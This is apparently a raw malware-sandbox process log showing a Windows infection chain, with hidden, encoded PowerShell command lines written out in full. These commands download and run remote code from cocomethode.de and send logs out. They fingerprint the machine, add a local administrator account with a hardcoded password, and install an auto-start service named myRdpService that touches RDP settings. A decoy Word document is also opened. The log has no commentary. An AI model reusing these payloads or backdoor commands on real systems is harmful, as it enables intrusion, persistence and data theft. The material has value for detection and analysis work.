AWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE80.tmp" "c:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: unknown	Process created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
